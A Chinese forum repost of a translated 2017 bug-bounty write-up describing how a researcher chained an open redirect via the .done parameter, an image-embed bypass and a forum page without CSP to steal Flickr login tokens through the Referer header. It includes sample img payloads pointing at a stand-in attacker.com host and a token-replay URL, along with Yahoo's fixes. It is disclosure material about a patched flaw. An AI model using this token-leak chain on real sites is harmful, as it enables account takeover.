搜索

[11339] 2017-05-12_看我如何综合利用3个安全问题成功劫持Flickr账户获得7千美元漏洞赏金

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-18
2017-05-12_看我如何综合利用3个安全问题成功劫持Flickr账户获得7千美元漏洞赏金 看 我 如 何 综 合 利 用 3 个 安 全 问 题 成 功 劫 持 F l i c k r 账 户 获 得 7 千 美 元 漏 洞 赏 金 c l o u d s   F r e e B u f   2 0 1 7 - 0 5 - 1 2 F l i c k r （   f l i c k r . c o m ） 为 雅 虎 Y a h o o 旗 下 图 片 和 视 频 分 享 平 台 ， 提 供 免 费 及 付 费 数 位 照 片 视 频 储 存 、 分 享 和 线 上 社 交 应 用 服 务 。 本 文 中 作 者 通 过 身 份 认 证 参 数 控 制 、 外 部 链 接 重 定 向 和 图 片 处 理 绕 过 3 个 安 全 问 题 的 综 合 利 用 ， 最 终 成 功 实 现 劫 持 F l i c k r 的 目 标 账 户 权 限 。 我 们 一 起 来 看 看 ： 在 F l i c k r 的 用 户 登 录 验 证 过 程 中 ， 将 会 向 l o g i n . y a h o o . c o m 发 起 一 个 获 取 用 户 访 问 令 牌 （ a c c e s s   t o k e n ） 的 请 求 。 F l i c k r . c o m 的 登 录 认 证 机 制 当 用 户 点 击 F l i c k r . c o m 的 登 录 按 钮 之 后 ， 将 会 转 向 到 以 下 U r l 链 接 ： 该 链 接 也 是 雅 虎 用 户 的 登 录 认 证 页 面 ， 当 完 成 登 录 表 单 填 写 和 点 击 登 录 之 后 ， 用 户 将 首 先 转 向 一 个 雅 虎 身 份 验 证 终 端 服 务 ， 如 果 验 证 信 息 有 效 ， 用 户 将 转 向 以 下 F l i c k r   U r l 页 面 ：
与 此 同 时 ， F l i c k r 在 后 台 开 始 对 雅 虎 验 证 服 务 和 用 户 登 录 产 生 的 . y s 和 . d a t a 参 数 进 行 认 证 。 窃 取 F l i c k r . c o m 用 户 登 录 令 牌 信 息 思 路 分 析 思 路 分 析 也 就 是 说 ， 如 果 用 户 已 经 处 于 雅 虎 服 务 端 登 录 状 态 ， 那 么 点 击 以 下 初 始 链 接 之 后 ： 数 据 流 量 只 是 发 生 在 后 台 ， 而 不 需 要 往 雅 虎 端 输 入 身 份 验 证 信 息 ， 而 这 也 就 带 来 了 账 户 被 劫 持 的 风 险 。 因 为 事 实 上 用 户 只 需 点 击 类 似 O A u t h 实 现 的 单 个 链 接 实 现 身 份 认 证 。 想 通 了 这 些 之 后 ， 我 尝 试 着 想 办 法 绕 过 该 认 证 机 制 。 首 先 ， 我 想 到 的 是 该 链 接 中 的 第 二 个 . d o n e 参 数 ： 可 以 被 控 制 ， 该 参 数 实 际 负 责 的 是 登 录 令 牌 信 息 的 发 送 。 在 此 过 程 中 ， 雅 虎 服 务 器 只 会 对 h t t p s : / / w w w . f l i c k r . c o m / s i g n i n / y a h o o / 发 起 的 登 录 请 求 进 行 验 证 ， 但 我 们 可 以 向 该 链 接 中 添 加 . . / 符 号 进 行 测 试 ， 当 向 其 中 添 加 . . / . . / t e s t 请 求 . d o n e 值 时 ， 其 . y s 和 . d a t a 参 数 令 牌 将 被 发 送 到 h t t p s : / / w w w . f l i c k r . c o m / t e s t 服 务 端 。 所 以 ， 在 此 一 种 想 法 就 油 然 而 生 ， 如 果 我 们 能 从 h t t p s : / / w w w . f l i c k r . c o m / 网 站 找 到 一 个 开 放 重 定 向 （ O p e n   r e d i r e c t ） 的 突 破 口 ，   就 能 把 认 证 令 牌 信 息 间 接 发 送 到 我 们 自 己 架 构 的 服 务 器 端 来 。 ' 漏 洞 挖 掘 漏 洞 挖 掘 经 过 一 番 研 究 之 后 ， 我 发 现 了 该 页 面 ： h t t p s : / / w w w . f l i c k r . c o m / h t m l . g n e ? t i g h t e n = 0 & t y p e = c o m m e n t 它 可 以 在 不 同 F l i c k r 页 面 的 评 论 区 中 实 现 图 片 嵌 入 。 我 想 如 果 通 过 这 里 向 评 论 区 中 上 传 一 个 外 部 链 接 图 片 ， 其 令 牌 信 息 就 可 以 通 过 已 经 登 录 的 引 用 字 段 （ r e f e r r e r   f i e l d ） 泄 露 到 我 自 己 架 构 的 服 务 器 端 来 。 为 此 ， 我 用 以 下 内 容 作 为 上 传 图 片 进 行 评 论 测 试 ： < i m g   s r c = ” h t t p s : / / a t t a c k e r . c o m / s o m e i m a g e . j p g ”   / > 该 图 片 的 确 被 嵌 入 到 F l i c k r 评 论 区 ， 但 是 ， 雅 虎 却 把 其 s r c 值 转 义 解 析 为 以 下 链 接 ： h t t p s : / / e c . y i m g . c o m / e c ? u r l = h t t p s : / / a t t a c k e r . c o m / s o m e i m a g e . j p g & t = 1 4 9 1 1 3 6 2 4 1 & s i g = F G Q i N H D O t E j 7 L Q D B b Y B n w A – ~ C
这 种 转 义 应 该 是 雅 虎 的 一 种 内 部 请 求 代 理 在 发 生 作 用 ， 它 可 以 阻 止 向 外 部 服 务 器 泄 露 F l i c k r 的 请 求 信 息 。 但 是 ， 如 果 使 用 一 些 浏 览 器 攻 击 的 奇 技 淫 巧 ， 是 不 是 就 能 操 控 其 F l i c k r 的 图 片 处 理 逻 辑 呢 ？ 比 如 ， 发 送 形 如 以 下 的 图 片 评 论 内 容 ： < i m g   s r c = ” / / w w w . a t t a c k e r . c o m / s o m e i m a g e . j p g ”   / > 但 遗 憾 的 是 ， 其 内 部 请 求 代 理 不 会 转 义 处 理 该 链 接 ， 其 s r c 值 还 是 保 持 原 样 ， 并 且 F l i c k r 评 论 区 也 不 会 把 其 显 示 为 图 片 。 经 过 研 究 ， 发 现 这 是 因 为 F l i c k r 使 用 了 网 页 内 容 安 全 防 护 策 略 （ C S P ， C o n t e n t   S e c u r i t y   P o l i c y ） ， 限 定 了 来 自 以 下 域 名 的 链 接 才 是 有 效 链 接 ： 其 i m g - s r c 配 置 中 的 设 定 了 白 名 单 域 名 ， 因 此 ， 最 终 上 传 显 示 外 部 链 接 图 片 的 目 的 失 败 了 。 在 了 解 了 这 些 之 后 ， 我 尝 试 着 寻 找 其 它 允 许 评 论 的 终 端 页 面 ， 发 现 F l i c k r 其 中 一 个 论 坛 页 面 ： h t t p s : / / w w w . f l i c k r . c o m / h e l p / f o r u m / e n - u s / 不 但 允 许 评 论 ， 貌 似 还 没 有 配 置 C S P 策 略 。 因 此 ， 我 在 该 论 坛 的 某 个 话 题 之 下 加 入 了 以 下 图 片 样 式 的 评 论 内 容 ： < i m g   s r c = ” / / w w w . a t t a c k e r . c o m / s o m e i m a g e . j p g ”   / > 奏 效 了 ， 其 外 部 链 接 图 片 被 嵌 入 到 了 这 里 ： h t t p s : / / w w w . f l i c k r . c o m / h e l p / f o r u m / e n - u s / 7 2 1 5 7 6 6 8 4 4 6 9 9 7 1 5 0 / p a g e 1 4 / 所 以 ， 接 下 来 我 要 做 的 就 是 构 造 形 如 以 下 的 最 终 利 用 链 接 ： 当 用 户 点 击 了 该 链 接 之 后 ， 将 会 被 重 定 向 到 ： h t t p s : / / w w w . f l i c k r . c o m / h e l p / f o r u m / e n - u s / 7 2 1 5 7 6 6 8 4 4 6 9 9 7 1 5 0 / p a g e 1 4 ? d a t a = { s o m e - t o k e n } & . y s = { s e c o n d - t o k e n } 同 时 ， 用 户 浏 览 器 将 发 出 以 下 请 求 ：
在 其 中 的 引 用 字 段 （ R e f e r e r   f i e l d ） 可 以 发 现 ， 用 来 进 行 身 份 验 证 的 令 牌 信 息 会 被 发 送 给 攻 击 者 架 构 的 域 名 服 务 器 。 所 以 ， 攻 击 者 只 需 要 做 的 就 是 ， 在 他 的 浏 览 器 中 访 问 以 下 链 接 就 能 以 受 害 者 账 户 身 份 ， 悄 无 声 息 地 登 录 进 入 网 站 ！ ！ h t t p s : / / w w w . f l i c k r . c o m / s i g n i n / y a h o o / ? . d a t a = { c o p i e d   f r o m   r e f e r e r } & . y s = { c o p i e d   f r o m   r e f e r e r } 漏 洞 修 补 方 法 漏 洞 上 报 给 雅 虎 之 后 ， 他 们 采 取 了 以 下 措 施 进 行 修 补 ： 1   限 制 l o g i n . y a h o o . c o m 服 务 页 面 中 的 . d o n e 参 数 ， 只 允 许 接 收 来 自 h t t p s : / / w w w . f l i c k r . c o m / s i g n i n / y a h o o / 的 有 效 值 ； 2   在 图 片 嵌 入 处 理 逻 辑 中 ， 禁 止 使 用 “ / / ” 绕 过 方 式 ； 3   在 F l i c k r 论 坛 中 采 用 C S P 策 略 。 漏 洞 上 报 进 程 2 0 1 7 . 4 . 2     通 过 H a c k e r o n e 进 行 漏 洞 初 报 2 0 1 7 . 4 . 3     漏 洞 评 估 分 类 2 0 1 7 . 4 . 2 1   获 得 Y a h o o 方 面 7 0 0 0 $ 美 元 漏 洞 赏 金 奖 励 * 参 考 来 源 ： m i s h . r e ， f r e e b u f 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . c o m 。
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理